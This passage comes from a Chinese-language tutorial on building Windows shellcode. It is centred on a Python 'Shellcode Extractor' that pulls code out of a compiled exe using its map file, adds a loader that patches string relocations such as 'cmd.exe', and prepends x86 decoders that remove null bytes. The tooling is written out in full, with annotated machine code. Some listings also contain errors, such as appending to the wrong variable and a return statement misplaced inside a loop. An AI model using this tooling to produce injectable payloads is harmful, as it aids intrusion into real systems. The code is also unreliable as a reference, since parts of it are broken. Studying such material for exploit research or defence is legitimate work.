        str += '\\x%02x' % ord(shellcode[i])
        if i == shellcode_len - 1:
            str += '";\n'
        elif pos == bytes_per_row - 1:
            str += '"\n'
        sc_array.append(str)
    shellcode_str = ''.join(sc_array)
    print(shellcode_str)
 
 
def get_xor_values(value):
    '''
    Finds x and y such that:
    1) x xor y == value
    2) x and y doesn't contain null bytes
    Returns x and y as arrays of bytes starting from the lowest significant byte.
    '''
 
    # Finds a non-null missing bytes.
    bytes = dword_to_bytes(value)
    missing_byte = [b for b in range(1, 256) if b not in bytes][0]
 
    xor1 = [b ^ missing_byte for b in bytes]
    xor2 = [missing_byte] * 4
    return (xor1, xor2)
 
 
def get_fixed_shellcode_single_block(shellcode):
    '''
    返回无空字符的shellcode其中一个版本,如果剔除空字符失败的话,
    就返回None
    如果该函数失败, 则调用get_fixed_shellcode().
    '''
 
    # Finds one non-null byte not present, if any.
    bytes = set([ord(c) for c in shellcode])
    missing_bytes = [b for b in range(1, 256) if b not in bytes]
    if len(missing_bytes) == 0:
        return None                             # 该shellcode无法被修复
    missing_byte = missing_bytes[0]
 
    (xor1, xor2) = get_xor_values(len(shellcode))
 
    code = [
        0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4
                                                            # here:
        0xC0,                                               #   (FF)C0 = INC EAX
        0x5F,                                               #   POP EDI
        0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>
        0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>
        0x83, 0xC7, 29,                                     #   ADD EDI, shellcode_begin - here
        0x33, 0xF6,                                         #   XOR ESI, ESI
        0xFC,                                               #   CLD
                                                            # loop1:
        0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]
        0x3C, missing_byte,                                 #   CMP AL, <missing byte>
        0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI
        0xAA,                                               #   STOSB
        0xE2, 0xF6                                          #   LOOP loop1
                                                            # shellcode_begin:
    ]
 
    return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte))
 
 
def get_fixed_shellcode(shellcode):
    '''
    返回不含空字节shellcode的其中一个版本.这个版本将shellcode分割为若干块
    当get_fixed_shellcode_single_block()不起作用的时候,我们才会使用该函数
    '''
 
    # 字节分段的格式是
    #   [missing_byte1, number_of_blocks1,
    #    missing_byte2, number_of_blocks2, ...]
    # 这里的missing_byteX是用于覆盖shellcode中空字节的，
    # 而这里的number_of_blocksX是使用missing_byteX对应分段(占254个字节)的数目,
    bytes_blocks = []
    shellcode_len = len(shellcode)
    i = 0
    while i < shellcode_len:
        num_blocks = 0
        missing_bytes = list(range(1, 256))
 
        # 尝试找到尽可能多的占254个字节的连续分段(至少存在一个非空字节)
        while True:
            if i >= shellcode_len or num_blocks == 255:
                bytes_blocks += [missing_bytes[0], num_blocks]
                break
            bytes = set([ord(c) for c in shellcode[i:i+254]])
            new_missing_bytes = [b for b in missing_bytes if b not in bytes]
            if len(new_missing_bytes) != 0:         # 添加新分段
                missing_bytes = new_missing_bytes
                num_blocks += 1
                i += 254
            else:
                bytes += [missing_bytes[0], num_blocks]
                break
 
    if len(bytes_blocks) > 0x7f - 5:
        # Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes".
        return None
 
    (xor1, xor2) = get_xor_values(len(shellcode))
 
    code = ([
        0xEB, len(bytes_blocks)] +                          #   JMP SHORT skip_bytes
                                                            # bytes:
        bytes_blocks + [                                    #   ...
                                                            # skip_bytes:
        0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4
                                                            # here:
        0xC0,                                               #   (FF)C0 = INC EAX
        0x5F,                                               #   POP EDI
        0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>
        0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>
        0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF,        #   LEA EBX, [EDI + (bytes - here)]
        0x83, 0xC7, 0x30,                                   #   ADD EDI, shellcode_begin - here
                                                            # loop1:
        0xB0, 0xFE,                                         #   MOV AL, 0FEh
        0xF6, 0x63, 0x01,                                   #   MUL AL, BYTE PTR [EBX+1]
        0x0F, 0xB7, 0xD0,                                   #   MOVZX EDX, AX
        0x33, 0xF6,                                         #   XOR ESI, ESI
        0xFC,                                               #   CLD
                                                            # loop2:
        0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]
        0x3A, 0x03,                                         #   CMP AL, BYTE PTR [EBX]
        0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI
        0xAA,                                               #   STOSB
        0x49,                                               #   DEC ECX
        0x74, 0x07,                                         #   JE shellcode_begin
        0x4A,                                               #   DEC EDX
        0x75, 0xF2,                                         #   JNE loop2
        0x43,                                               #   INC EBX
        0x43,                                               #   INC EBX
        0xEB, 0xE3                                          #   JMP loop1
                                                            # shellcode_begin:
    ])
 
    new_shellcode_pieces = []
    pos = 0
    for i in range(len(bytes_blocks) / 2):
        missing_char = chr(bytes_blocks[i*2])
        num_bytes = 254 * bytes_blocks[i*2 + 1]
        new_shellcode_pieces.append(shellcode[pos:pos+num_bytes].replace('\0', missing_char))
        pos += num_bytes
 
    return ''.join([chr(x) for x in code]) + ''.join(new_shellcode_pieces)
 
 
def main():
    print("Shellcode Extractor by %s (%d)\n" % (author, year))
 
    if len(sys.argv) != 3:
        print('Usage:\n' +
              '  %s <exe file> <map file>\n' % os.path.basename(sys.argv[0]))
        return
 
    exe_file = sys.argv[1]
    map_file = sys.argv[2]
 
    print('Extracting shellcode length from "%s"...' % os.path.basename(map_file))
    shellcode_len = get_shellcode_len(map_file)
    if shellcode_len is None:
        return
    print('shellcode length: %d' % shellcode_len)
 
    print('Extracting shellcode from "%s" and analyzing relocations...' % os.path.basename(exe_file))
    result = get_shellcode_and_relocs(exe_file, shellcode_len)
    if result is None:
        return
    (shellcode, relocs, addr_to_strings) = result
 
    if len(relocs) != 0:
        print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))
        print('Strings:')
        for s in addr_to_strings.values():
            print('  ' + s[:-1])
        print('')
        shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)
    else:
        print('No relocations found')
 
    if shellcode.find('\0') == -1:
        print('Unbelievable: the shellcode does not need to be fixed!')
        fixed_shellcode = shellcode
    else:
        # shellcode 包含空字节需要修复.
        print('Fixing the shellcode...')
        fixed_shellcode = get_fixed_shellcode_single_block(shellcode)
        if fixed_shellcode is None:             # 如果shellcode没有修复...
            fixed_shellcode = get_fixed_shellcode(shellcode)
            if fixed_shellcode is None:
                print('[!] Cannot fix the shellcode')
 
    print('final shellcode length: %d\n' % len(fixed_shellcode))
    print('char shellcode[] = ')
    dump_shellcode(fixed_shellcode)
 
 
main()



 


Map文件和shellcode长度


我们告诉链接器通过如下选项生成Map文件:


●  调试:


●  生成映射文件:是(/MAP)


告知链接器创建映射文件


●  映射文件名:mapfile


Map文件对于决定shellcode的长度起到了重要的作用.


以下是Map文件中相关的部分:


shellcode
 
 Timestamp is 5689df9d (Mon Jan  4 10:57:33 2016)
 
 Preferred load address is 00400000
 
 Start         Length     Name                   Class
 0001:00000000 00000e51H .text$mn                CODE
 0002:00000000 000000bcH .idata$5                DATA
 0002:000000bc 00000004H .00cfg                  DATA
 0002:000000c0 00000004H .CRT$XCA                DATA
 0002:000000c4 00000004H .CRT$XCAA               DATA
 0002:000000c8 00000004H .CRT$XCZ                DATA
 0002:000000cc 00000004H .CRT$XIA                DATA
 0002:000000d0 00000004H .CRT$XIAA               DATA
 0002:000000d4 00000004H .CRT$XIAC               DATA
 0002:000000d8 00000004H .CRT$XIZ                DATA
 0002:000000dc 00000004H .CRT$XPA                DATA
 0002:000000e0 00000004H .CRT$XPZ                DATA
 0002:000000e4 00000004H .CRT$XTA                DATA
 0002:000000e8 00000004H .CRT$XTZ                DATA
 0002:000000ec 00000000H .gfids$x                DATA
 0002:000000f0 000000c4H .rdata                  DATA
 0002:000001c0 00000004H .rdata$sxdata           DATA
 0002:000001c4 00000254H .rdata$zzzdbg           DATA
 0002:00000418 00000004H .rtc$IAA                DATA
 0002:0000041c 00000004H .rtc$IZZ                DATA
 0002:00000420 00000004H .rtc$TAA                DATA
 0002:00000424 00000004H .rtc$TZZ                DATA
 0002:00000428 0000003cH .xdata$x                DATA
 0002:00000464 00000000H .edata                  DATA
 0002:00000464 0000008cH .idata$2                DATA
 0002:000004f0 00000014H .idata$3                DATA
 0002:00000504 000000bcH .idata$4                DATA
 0002:000005c0 0000040aH .idata$6                DATA
 0003:00000000 00000020H .data                   DATA
 0003:00000020 00000374H .bss                    DATA
 0004:00000000 00000058H .rsrc$01                DATA
 0004:00000060 00000180H .rsrc$02                DATA
 
  Address         Publics by Value              Rva+Base       Lib:Object
 
 0000:00000000       ___guard_fids_table        00000000     <absolute>
 0000:00000000       ___guard_fids_count        00000000     <absolute>
 0000:00000001       ___safe_se_handler_count   00000001     <absolute>
 0000:00000100       ___guard_flags             00000100     <absolute>
 0000:00000000       ___ImageBase               00400000     <linker-defined>
 0001:00000000       ?entryPoint@@YAHXZ         00401000 f   shellcode.obj
 0001:000001a3       ?getHash@@YAKPBD@Z         004011a3 f   shellcode.obj
 0001:000001c0       ?getDataTableEntry@@YAPAU_LDR_DATA_TABLE_ENTRY@@PBU_LIST_ENTRY@@@Z 004011c0 f   shellcode.obj
 0001:000001c4       ?getProcAddrByHash@@YAPAXK@Z 004011c4 f   shellcode.obj
 0001:00000270       _main                      00401270 f   shellcode.obj
 0001:000004a6       _mainCRTStartup            004014a6 f   MSVCRT:exe_main.obj
<省略>



Map文件的开头告诉我们第一个节是.text节(包含代码):


Start        Length    Name                  Class 
 0001:00000000 00000e51H .text$mn                CODE 



第二部分告诉我们.text节开头的一个函数为?entryPoint@@YAHXZ,也就是我们的entryPoint函数,并且main(这里叫做_main)是我们的最后一个函数.也就是说main在偏移0x270的位置,


entryPoint在偏移0的位置,我们的shellcode起始于.text节的开始处,长0x270个字节.


以下就是我利用Python进行的处理:


def   get_shellcode_len (map_file): 
    ''' 
    通过分析map文件来获取shellcode的长度(VS 2015生成的map文件) 
    ''' 
    try : 
        with  open(map_file, 'r')  as  f: 
            lib_object =  None  
            shellcode_len =  None  
             for  line  in  f: 
                parts = line.split() 
                if  lib_object  is   not   None : 
                    if  parts[-1] == lib_object: 
                        raise  Exception('_main is not the last function of %s' % lib_object) 
                    else : 
                        break  
                elif  (len(parts) > 2  and  parts[1] == '_main'): 
                    # 格式: 
                    # 0001:00000274  _main   00401274 f   shellcode.obj 
                    shellcode_len = int(parts[0].split(':')[1], 16) 
                    lib_object = parts[-1] 
  
            if  shellcode_len  is   None : 
                raise  Exception('Cannot determine shellcode length') 
    except  IOError: 
        print ('[!] get_shellcode_len: Cannot open "%s"' % map_file) 
        return   None  
    except  Exception  as  e: 
        print ('[!] get_shellcode_len: %s' % e.message) 
        return   None  
  
    return  shellcode_len 



提取shellcode


这部分非常容易.我们知道shellcode的长度,shellcode位于.text节的开始处.以下是代码:


def   get_shellcode_and_relocs (exe_file, shellcode_len): 
    ''' 
    从exe文件中.text节中提取shellcode和重定位的字符串. 
    返回三个东西 (shellcode, 重定位, 字符串). 
    ''' 
     try : 
        # 提取shellcode. 
        pe = pefile.PE(exe_file) 
       shellcode =  None  
       rdata =  None  
         for  s  in  pe.sections: 
           if  s.Name == '.text\0\0\0': 
               if  s.SizeOfRawData < shellcode_len: 
                   raise  Exception('.text section too small') 
                shellcode_start = s.VirtualAddress 
               shellcode_end = shellcode_start + shellcode_len 
               shellcode = pe.get_data(s.VirtualAddress, shellcode_len) 
           elif  s.Name == '.rdata\0\0': 
               rdata_start = s.VirtualAddress 
               rdata_end = rdata_start + s.Misc_VirtualSize 
               rdata = pe.get_data(rdata_start, s.Misc_VirtualSize) 
  
         if  shellcode  is   None : 
           raise  Exception('.text section not found') 
         if  rdata  is   None : 
           raise  Exception('.rdata section not found') 
<省略> 



这里我用到了pefile模块(下载地址: https://code.google.com/p/pefile/),这个模块非常好用.上面的条件判断语句中用到了这个模块.




字符串和.rdata


就像我们之前所说的,我们的C/C++代码中可能会包含字符串.比如说,我们的shellcode中包含了如下一行代码:


My_CreateProcessA( NULL , "cmd.exe",  NULL ,  NULL ,  TRUE , 0,  NULL ,  NULL , &sInfo, &procInfo); 



“cmd.exe”这个字符串位于.rdata节中,.rdata节具有只读属性,其中包含了初始化的数据.代码中引用到这个字符串的地方使用的是绝对地址:





正如我们所看到的,cmd.exe的绝对地址是402110h.注意这个地址是push指令的一部分,它位于40116D地址处.如果我们用十六进制编辑器定位到这个cmd.exe,会看到如下:


56C: 68 10 21 40 00  push 00402110h 


这里的56Ch是文件偏移,虚拟地址(在内存中)是40116A,因为基地址是400000h.这个地址是exe应该被加载到内存中的位置(该地址是预先设定好的).如果exe被加载到了事先预定的基地址处,那么该指令中的绝对地址402110h就是正确的.但是,如果exe被加载到了一个不相同的基地址处,那么这条指令就需要修正了.那么Windows加载器如何知道可执行文件中哪些位置中包含的地址需要修正呢?其实啊,PE文件中包含有重定位目录,对我们而言,需要用到的就是.reloc节.这个节中包含了所有需要修正位置的RVA.


我们查看一下这个目录找到下面这些位置中地址:


1.        
包含在shellcode中的(即:从.text:0开始一直到main函数为止,但不包含main函数),




2.        
数据中包含指针,而该指针位于.rdata中.


例如:重定位目录中可能需要涵盖许多其他地址中间的地址,就拿这个40116Ch来说吧,通过这个地址我们可以定位到push 402110h这个指令后面的四个字节.通过后面这四个字节我们就可以得到402110h这个地址,而这个地址正好指向了包含在.rdata(起始于402000h)节中的cmd.exe字符串.




我们一起来看一看get_shellcode_and_relocs这个函数.首先我们提取.rdata节:


def   get_shellcode_and_relocs (exe_file, shellcode_len): 
    ''' 
    从exe文件中.text节中提取shellcode和重定位的字符串. 
    返回三个东西 (shellcode, 重定位, 字符串). 
    ''' 
    try : 
        # 提取shellcode. 
        pe = pefile.PE(exe_file) 
        shellcode =  None  
        rdata =  None  
        for  s  in  pe.sections: 
            if  s.Name == '.text\0\0\0': 
                if  s.SizeOfRawData < shellcode_len: 
                    raise  Exception('.text section too small') 
                shellcode_start = s.VirtualAddress 
                shellcode_end = shellcode_start + shellcode_len 
                shellcode = pe.get_data(s.VirtualAddress, shellcode_len) 
            elif  s.Name == '.rdata\0\0': 
                rdata_start = s.VirtualAddress 
                rdata_end = rdata_start + s.Misc_VirtualSize 
                rdata = pe.get_data(rdata_start, s.Misc_VirtualSize) 
  
        if  shellcode  is   None : 
            raise  Exception('.text section not found') 
        if  rdata  is   None : 
            raise  Exception('.rdata section not found') 



与此相关的部分就是elif分支.


这个函数中的第二部分就是分析并且[bookmark: OLE_LINK2][bookmark: OLE_LINK1]定位到我们shellcode中需要重定位字符串的位置,通过这些位置在.rdata中定位到这些以空字符结束的字符串并将它们提取出来.




前面已经说过了,我们只对包含在shellcode中的地址比较感兴趣.下面是get_shellcode_and_relocs函数中与此相关的部分:


#  定位到shellcode中需要重定位字符串的位置,通过这些位置在.rdata中定位到相应的字符串并将它们提取出来. 
relocs = [] 
addr_to_strings = {} 
for  rel_data  in  pe.DIRECTORY_ENTRY_BASERELOC: 
    for  entry  in  rel_data.entries[:-1]:  
        if  shellcode_start <= entry.rva < shellcode_end: 
            # 重定位的位置在shellcode中 
            relocs.append(entry.rva - shellcode_start)      # 相对shellcode起始处的偏移 
            string_va = pe.get_dword_at_rva(entry.rva) 
            string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase 
            if  string_rva < rdata_start  or  string_rva >= rdata_end: 
                raise  Exception('shellcode references a section other than .rdata') 
            str = get_cstring(rdata, string_rva - rdata_start) 
            if  str  is   None : 
                raise  Exception('Cannot extract string from .rdata') 
            addr_to_strings[string_va] = str 

return  (shellcode, relocs, addr_to_strings) 



pe.DIRECTORY_ENTRY_BASERELOC是一个列表数据结构,其中包含一个叫做entries的字段,该字段是待重定位地址的列表.首先我们检查当前待重定位的地址是否在shellcode中.如果在,我们做如下操作:


1.        
我们将待重定位的地址相对于shellcode起始地址的偏移保存到relocs列表中;


2.        
我们提取shellcode中DWORD所在位置的偏移,并检查该DWORD是否指向.rdata中的数据;


3.        
我们根据(2)中定位到的字符串的起始位置从.rdata中提取出以空字符结尾的字符串;


4.        
我们将字符串添加到add_to_strings字典中. 




注意:


          
i.             
relocs列表中包含的是shellcode中待重定位地址的偏移,即:shellcode中哪些需要修正DWORD的偏移,这样才能让这些DWORD正确的指向相应的字符串;


        
ii.             
addr_to_strings是一个把上面(2)中实际的字符串与其地址关联起来的字典.




给shellcode添加加载器




思路就是将addr_to_strings字典中的字符串添加到我们shellcode的尾部,并且相应地处理shellcode中引用到这些字符串的代码.不幸的是,运行时我们并不知道shellcode的起始地址,那么如何从代码中定位到字符串就成了一个难题!为了解决这个问题,我们事先需要准备一个所谓的“加载器”来动态地修正shellcode.以下是我们的shellcode修改之后的结构示意图:





offX是DWORD类型,指向了原始shellcode中需要修复的位置.加载器将修复这些位置,好让它们指向正确的字符串strX.


为了看到是如何精确地运作的,需要尝试理解下面的代码:



def   add_loader_to_shellcode (shellcode, relocs, addr_to_strings): 
    if  len(relocs) == 0: 
        return  shellcode                # 没有待重定位的地址 
  
    #   新shellcode的格式: 
    #       call    here 
    #   here: 
    #       ... 
    #   shellcode_start: 
    #      <shellcode>        (包含strX的偏移 (偏移是相对"here"标签而言的)) 
    #   relocs: 
    #      off1|off2|...       (待重定位地址的偏移(偏移是相对"here"标签而言的)) 
    #      str1|str2|... 
  
    delta = 21                                     # shellcode_start - here 
  
    # 构建第一个部分. 
    x = dword_to_bytes(delta + len(shellcode)) 
    y = dword_to_bytes(len(relocs)) 
    code = [ 
        0xE8, 0x00, 0x00, 0x00, 0x00,              #   CALL here 
                                                   # here: 
        0x5E,                                      #   POP ESI 
        0x8B, 0xFE,                                #   MOV EDI, ESI 
        0x81, 0xC6, x[0], x[1], x[2], x[3],        #   ADD ESI, shellcode_start + len(shellcode) - here 
        0xB9, y[0], y[1], y[2], y[3],              #   MOV ECX, len(relocs) 
        0xFC,                                      #   CLD 
                                                   # again: 
        0xAD,                                      #   LODSD 
        0x01, 0x3C, 0x07,                          #   ADD [EDI+EAX], EDI 
        0xE2, 0xFA                                 #   LOOP again 
                                                   # shellcode_start: 
    ] 
  
    # 构建最后一部分 (offX 和 strX). 
    offset = delta + len(shellcode) + len(relocs) * 4          # 偏移是相对"here"标签而言的 
    final_part = [dword_to_string(r + delta)  for  r  in  relocs] 
    addr_to_offset = {} 
    for  addr  in  addr_to_strings.keys(): 
        str = addr_to_strings[addr] 
        final_part.append(str) 
        addr_to_offset[addr] = offset 
        offset += len(str) 
  
    # 最后一部分:修复shellcode,好让待重定位的地址能够指向正确的字符串 
    byte_shellcode = [ord(c)  for  c  in  shellcode] 
    for  off  in  relocs: 
        addr = bytes_to_dword(byte_shellcode[off:off+4]) 
        byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr]) 
        return  ''.join([chr(b)  for  b  in  (code + byte_shellcode)]) + ''.join(final_part) 


我们来看看该加载器: 

   CALL here                                              ;将EIP+5压入堆栈,跳转到here标签处                                            
here:
    POP ESI                                               ; ESI = "here"标签的地址
    MOV EDI, ESI                                          ; EDI = "here"标签的地址
    ADD ESI, shellcode_start + len(shellcode) - here      ; ESI = off1的地址
    MOV ECX, len(relocs)                                  ; ECX = 待修正重定位地址的数量
    CLD                                                   ; 告诉LODSD指令 源,目的寄存器递增
again:
    LODSD                                                 ; EAX = offX; ESI += 4
    ADD [EDI+EAX], EDI                                    ; 修正shellcode中的地址
    LOOP again                                            ; ECX自减; 如果 ECX 大于 0就跳转到again标签处
shellcode_start:                      
    <shellcode>
relocs:
    off1|off2|...
    str1|str2|...


第一个CALL是用于获取内存中here标签的绝对地址.接着加载器就可以使用该信息来修正原始shellcode中的偏移了.ESI指向了off1,所以LODSD是用来依次读取偏移量的.下面这条指令 

    ADD [EDI+EAX], EDI       


修正shellcode中待修复重定位的地址.EAX是当前的offX(相对于here标签的地址的偏移).这表示EDI+EAX是一个绝对地址.该地址处的DWORD中包含了正确字符串的偏移(相对于here标签而言的).通过将EDI加上该DWORD,我们可以将该DWORD转换为指向实际字符串的绝对地址.当加载器执行完毕以后,我们的shellcode也就修复完毕了,可以执行了. 

也就是说,当存在需要重定位数据的时候才可以调用add_loader_to_shellcode函数.你可以看下main函数是如何处理的: 

<省略> 
  if  len(relocs) != 0: 
         print ('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings))) 
         print ('Strings:') 
         for  s  in  addr_to_strings.values(): 
           print ('  ' + s[:-1]) 
         print ('') 
         shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings) 
  else : 
         print ('No relocations found') 
<省略> 


剔除shellcode中的空字节(I) 

在修复完重定位的数据以后,我们就应该来处理shellcode中存在的空字节了.我们前面已经说过了为什么要剔除空字节了.为了剔除空字节,我写了两个函数: 

1.        
get_fixed_shellcode_single_block 

2.        
get_fixed_shellcode 

第一个函数不一定总是能起作用,但是它生成的代码更短,所以我们应该首先尝试第一个函数.第二个函数产生的代码要长一些,但是它总是能起作用. 

我们首先来讲解get_fixed_shellcode_single_block这个函数.以下是函数的定义: 

def   get_fixed_shellcode_single_block (shellcode): 
    ''' 
    返回无空字符的shellcode其中一个版本,如果剔除空字符失败的话, 
    就返回None 
    如果该函数失败, 则调用get_fixed_shellcode(). 
    ''' 
  
    bytes = set([ord(c)  for  c  in  shellcode]) 
    missing_bytes = [b  for  b  in  range(1, 256)  if  b  not   in  bytes] 
     if  len(missing_bytes) == 0: 
         return   None                             # 该shellcode无法被修复 
    missing_byte = missing_bytes[0] 
  
    (xor1, xor2) = get_xor_values(len(shellcode)) 
  
    code = [ 
        0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #  CALL $ + 4 
                                                            # here: 
        0xC0,                                               #   (FF)C0 = INC EAX 
        0x5F,                                               #   POP EDI 
        0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len> 
        0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len> 
        0x83, 0xC7, 29,                                     #   ADD EDI, shellcode_begin - here 
        0x33, 0xF6,                                         #   XOR ESI, ESI 
        0xFC,                                               #   CLD 
                                                            # loop1: 
        0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI] 
        0x3C, missing_byte,                                 #   CMP AL, <missing byte> 
        0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI 
        0xAA,                                               #   STOSB 
        0xE2, 0xF6                                          #   LOOP loop1 
                                                            # shellcode_begin: 
    ] 
  
     return  ''.join([chr(x)  for  x  in  code]) + shellcode.replace('\0', chr(missing_byte)) 



这个函数的功能非常简单.就是我们逐字节的分析shellcode,看是否存在一个miss(不存在)的值,即:该字节值在shellcode中的任何位置都找不到.比如说这个值是0x14.我们可以将shellcode中的每一处0x00都替换为0x14.这样shellcode就不包含空字节了,但是也运行不起来,因为已经被我们修改了.最后一步是给shellcode添加一小段解码程序,这段解码程序在运行时会将shellcode恢复为原样 (包含空字节),这样shellcode就可以正常被执行了.你可以看下数组中定义的这段代码:


  CALL $ + 4                                       ; 将“here”标签的地址压入堆栈; 跳转到 "here"标签处 
here: 
  (FF)C0 = INC EAX                                 ; 不重要: 仅仅是一个NOP 
  POP EDI                                          ; EDI = “here”标签的地址 
  MOV ECX, <xor value 1  for  shellcode len> 
  XOR ECX, <xor value 2  for  shellcode len> ; ECX = shellcode的长度 
  ADD EDI, shellcode_begin - here                  ; EDI = 原始shellcode的绝对地址 
  XOR ESI, ESI                                     ; ESI = 0 
  CLD                                              ;  告诉STOSB 源,目标寄存器递增 
loop1: 
  MOV AL, BYTE PTR [EDI]                           ; AL = shellcode中的当前字节 
  CMP AL, <missing byte>                           ; AL是否是特殊字节? 
  CMOVE EAX, ESI                                   ; 如果AL是特殊字节,则将EAX复制为0 
  STOSB                                            ; 使用AL覆盖shellcode中的当前字节 
  LOOP loop1                                       ; ECX递减;如果ECX小于0,则跳转到loop1标签处 
shellcode_begin: 



这里有几个比较重要的细节要讨论一下,首先这段代码本身不能包含空字节,因为它们包含空字符的话,我们就又需要另一段代码来剔除其空字符了.


也就是说下面这条语句不能有,不能使用CALL here这条语句 


    E8 00 00 00 00 # CALL here 



这条指令的机器码包含4个空字节.由于CALL指令占5个字节,所以CALL here等价于CALL $+5


剔除掉空字节的小技巧就是使用CALL $+4.


    E8 FF FF FF FF   # CALL $+4 


该CALL指令跳过本身的前4个字节,来到最后一个FF处.该CALL指令紧接着的字节是C0,所以在执行完这条CALL指令后,紧接着的就是FF C0了,也就是INC EAX的机器码了.注意这条CALL指令压入堆栈的仍然是here标签的绝对地址.


接下来就是第二条小技巧:使用异或操作来消除空字节:


  MOV ECX, <xor value 1  for  shellcode len> 
  XOR ECX, <xor value 2  for  shellcode len> ; ECX = shellcode的长度 



我们也可以只用


    MOV ECX, <shellcode len> 


但是这也会产生空字节.实际上,shellcode的长度为0x400,我们可以写成这样


    B9 00 04 00 00 MOV ECX,400h 


这条指令包含3个空字节.


为了避免产生空字节,我们选择你一个在00000400h中没有出现的字节.这里我们选择0x01.现在我们来推导一下:


    <xor value 1  for  shellcode len> = 00000400h xor 01010101 = 01010501h 
    <xor value 2  for  shellcode len> = 01010101h 


得到的结果就是<xor value1 for shellcode len>和<xor value 2 for
shellcode len>,这两个值都是不包含空字节的,这两个值异或的就可以得到原始值400h了.


我们的两条指令就变成了:


    B9 01 05 01 01        MOV ECX,01010501h 
    81 F1 01 01 01 01      XOR ECX,01010101h 


这两个用于异或的值可以通过get_xor_values函数来计算.


通过以上的介绍,这段代码就很容易理解了:逐字节的检查shellcode,发现空字节,就用特殊字节(就像之前举例的0x14)覆盖之.




剔除shellcode中的空字节(II)


上面这种方法可能会失败,因为我们不能确保总是能找到上面所说的特殊字节(即在shellcode中不存在的字节).如果上面那种方法失败的话,我们就需要使用get_fixed_shellcode这个函数了,这个函数有点复杂.


思路就是将shellcode划分为若干个254字节的段.注意:每个分段中必须有一个missing(不存在)字节,因为一个字节可以有255个非零值.我们可以为每个分段选择一个missing字节,然后单独地处理每个分段.但是这样做可能比较耗费空间,因为对于一个占254*N个字节的shellcode来说,我们可能需要在shellcode的前面或者后面保存N个missing字节(解码程序需要用到该missing字节).更加聪明的做法就是让尽可能多的分段使用相同的missing字节.我们从shellcode的起始处开始取每个分段,直到missing字节用完为止.如果这种情况真的发生了,我们可以从之前的块中移除掉最后一段,将其拼到紧接着后面的段上去.最后,我们还需要有一个<missing字节,分块数>配对的列表:


[(missing_byte1,num_block1),(missing_byte2,num_block2),...] 


我决定将分段数X限定为1个单字节,所以num_blockX范围是1到255.


以下就是get_fixed_shellcode的部分代码,它将shellcode分割为了若干块:


def get_fixed_shellcode(shellcode):
    '''
    返回不含空字节shellcode的其中一个版本.这个版本将shellcode分割为若干块
    当get_fixed_shellcode_single_block()不起作用的时候,我们才会使用该函数
    '''
    
    
    # 字节分段的格式是
    #   [missing_byte1, number_of_blocks1,
    #    missing_byte2, number_of_blocks2, ...]
    # 这里的missing_byteX是用于覆盖shellcode中空字节的，
    # 而这里的number_of_blocksX是使用missing_byteX对应分段(占254个字节)的数目,
    bytes_blocks = []
    shellcode_len = len(shellcode)
    i = 0
    while i < shellcode_len:
        num_blocks = 0
        missing_bytes = list(range(1, 256))
        
        #   尝试找到尽可能多的占254个字节的连续分段(至少存在一个非空字节)
        while True:
            if i >= shellcode_len or num_blocks == 255:
                bytes_blocks += [missing_bytes[0], num_blocks]
                break
            bytes = set([ord(c) for c in shellcode[i:i+254]])
            new_missing_bytes = [b for b in missing_bytes if b not in bytes]
            if len(new_missing_bytes) != 0:         # 添加新分段
                missing_bytes = new_missing_bytes
                num_blocks += 1
                i += 254
            else:
                bytes += [missing_bytes[0], num_blocks]
                break
<省略>



跟之前一样,我们需要讨论一下“解码器”怎么放到shellcode的前面.这次的解码器可能比之前的要长很多,但是两者的原则是一样的. 

以下是代码: 

code = ([
    0xEB, len(bytes_blocks)] +                          # JMP SHORT skip_bytes
                                                        # bytes:
    bytes_blocks + [                                    #   ...
                                                        # skip_bytes:
    0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4
                                                        # here:
    0xC0,                                               #   (FF)C0 = INC EAX
    0x5F,                                               #   POP EDI
    0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>
    0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>
    0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF,        #   LEA EBX, [EDI + (bytes - here)]
    0x83, 0xC7, 0x30,                                   #  ADD EDI, shellcode_begin - here
                                                        # loop1:
    0xB0, 0xFE,                                         #   MOV AL, 0FEh
    0xF6, 0x63, 0x01,                                   #   MUL AL, BYTE PTR [EBX+1]
    0x0F, 0xB7, 0xD0,                                   #   MOVZX EDX, AX
    0x33, 0xF6,                                         #   XOR ESI, ESI
    0xFC,                                               #   CLD
                                                        # loop2:
    0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]
    0x3A, 0x03,                                         #   CMP AL, BYTE PTR [EBX]
    0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI
    0xAA,                                               #   STOSB
    0x49,                                               #   DEC ECX
    0x74, 0x07,                                         #   JE shellcode_begin
    0x4A,                                               #   DEC EDX
